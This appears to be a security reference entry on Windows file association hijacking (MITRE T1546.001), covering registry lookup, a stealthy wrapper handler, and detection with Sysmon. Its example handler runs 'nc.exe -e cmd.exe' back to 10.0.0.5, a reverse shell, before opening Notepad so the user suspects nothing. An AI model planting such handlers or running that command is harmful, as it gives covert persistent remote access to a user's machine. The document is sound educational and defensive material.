Windows File Association Hijacking

Double-clicking a .txt file doesn’t run the file — it runs whatever the registry says handles .txt. Changing that handler is Change Default File Association, MITRE T1546.001: an event-triggered execution technique where the “event” is the user innocently opening a document. It needs no admin rights (the HKCU hive is user-writable), survives reboots, and fires on ordinary user behavior rather than any attacker action.

How associations resolve

File associations are a two-hop lookup under the registry’s Classes views:

1. Extension → programmatic ID (ProgID). HKLM\Software\Classes\.txt (or the user-specific HKCU\Software\Classes\.txt, which wins) has a (Default) value naming the ProgID — e.g. txtfile.
2. ProgID → command. The same Classes tree has a key for that ProgID, and shell\open\command’s (Default) value is the command line — e.g. %SystemRoot%\system32\NOTEPAD.EXE %1.

The merged view HKCR (HKEY_CLASSES_ROOT) presents HKLM overlaid with HKCU — which is why per-user hijacks work without touching the machine hive: write your own .ext and ProgID keys under HKCU\Software\Classes and they shadow the system defaults for that user.

Hijacking therefore means either repointing the extension’s (Default) at your own ProgID, or editing an existing ProgID’s shell\open\command to a handler you control.

The payload wrinkle: %1 and $args

The command line almost always contains %1 — the placeholder through which the shell passes the opened file’s path. A hijack handler that only runs malware will be noticed the first time Notepad fails to appear, so practical handlers are wrappers: fire the payload, then launch the expected application with the supplied path. From PowerShell, the argument arrives in the automatic $args array, and the robust form passes it through quoted and whole — "$args" — rather than the $args[0]-unquoted pattern common in older documentation, which drops or splits paths containing spaces:

# 1. Payload (attacker-supplied binary)
Start-Process -NoNewWindow "C:\Windows\System32\nc.exe" "-e cmd.exe 10.0.0.5 1337"
 
# 2. Preserve expected behavior — open the file the user double-clicked
C:\Windows\System32\notepad.exe "$args"

The same dual-action pattern applies to shortcut (.lnk) backdoors — file associations and shortcuts are the two “user opens a thing” trigger surfaces, differing mainly in whether the trigger lives in the registry or in a modified file.

Detection

MITRE’s detection strategy (DET0061) is built on exactly this shape: watch for registry modification under HKCU/HKCR extension mappings and ProgID shell\open\command keys, then correlate with anomalous handler paths — powershell.exe, cmd.exe, wscript.exe, rundll32.exe showing up as the handler for document extensions, or spawning unusual child processes on file-open. Sysmon EID 13 (registry value set) plus EID 1 (process create) covers both halves.

Defensive hygiene: baseline the Classes hives (associations change rarely on a stable workstation), and alert on handlers outside %ProgramFiles% / %SystemRoot% or in user-writable paths.

Related

• windows-dll-search-order — the other “redirect what the OS loads” hijack, at the library layer rather than the shell layer (T1574.001)
• windows-scripting-host — wscript.exe/cscript.exe are themselves classic hijack handlers and payload launchers
• icacls — registry/file permission auditing for who can write these keys

Sources

• MITRE ATT&CK T1546.001 — Change Default File Association
• MITRE DET0061 — Detect Default File Association Hijack